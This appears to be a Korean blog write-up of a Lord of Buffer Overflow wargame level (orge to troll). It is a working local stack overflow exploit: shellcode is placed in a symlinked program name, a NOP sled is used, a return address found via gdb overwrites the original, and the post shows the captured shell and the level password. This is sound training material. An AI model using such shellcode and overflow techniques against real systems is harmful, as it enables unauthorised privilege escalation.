[orge@localhost orge]$ ./`python -c 'print "\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'` `python -c 'print "\x90"*44+"\xbf\xbf\xbf\xbf"'`

▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒

Segmentation fault (core dumped)



어덤프를 유도하여 gdb로 etc영역을 살펴보기로 한다.


[orge@localhost orge]$ gdb ./`python -c 'print "\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'` ./core


(gdb) x/256x 0xbfffffff -256

0xbffffeff:     0x00000000      0x00000000      0x00000000      0x00000000

0xbfffff0f:     0x00000000      0x00000000      0x00000000      0x00000000

0xbfffff1f:     0x00000000      0x00000000      0x00000000      0x00000000

0xbfffff2f:     0x00000000      0x00000000      0x00000000      0x00000000

0xbfffff3f:     0x00000000      0x00000000      0x00000000      0x00000000

0xbfffff4f:     0x90902f2e      0x90909090      0x90909090      0x90909090

0xbfffff5f:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffff6f:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffff7f:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffff8f:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffff9f:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffffaf:     0x90909090      0xc5d99090      0xf42474d9      0x69c315b8

0xbfffffbf:     0xc9295dd7      0x45310bb1      0x1a45031a      0xe204c583

0xbfffffcf:     0x8f62a9e0      0x47137c93      0x7052e38e      0x1717ccb8

0xbfffffdf:     0x85f77b38      0xa98e1551      0x2d9801f3      0x4fb6d1f3

0xbfffffef:     0xfce7bf9a      0x51af4034      0xd682a14d      0x00000000


프로그램 이름이 0xbfffff52부터 시작되는 것을 알 수 있었다. 원본 파일에 심볼릭 링크를 걸어주고


[orge@localhost orge]$ ln -s troll `python -c 'print "\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'`


<<낮은주소--- 버퍼(40) | sfp (4) | ret = etc영역중 어느 nop의 주소 (4) | ---높은주소>> 


[orge@localhost orge]$ ./`python -c 'print "\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'` `python -c 'print "\x90"*44+"\x6f\xff\xff\xbf"'`

▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒o▒▒▒

bash$ whoami

troll

bash$ my-pass

euid = 508

aspirin


2. argv[2]를 이용하는 방법도 있다.



'System Hacking > Lord of Buffer overflow' 카테고리의 다른 글

10.lob vampire->skeleton  (0) 2018.01.08
09.lob troll->vampire  (0) 2018.01.08
07.lob darkelf->orge  (0) 2018.01.08
06.lob wolfman->darkelf  (0) 2018.01.08
05.lob orc->wolfman  (0) 2018.01.07

+ Recent posts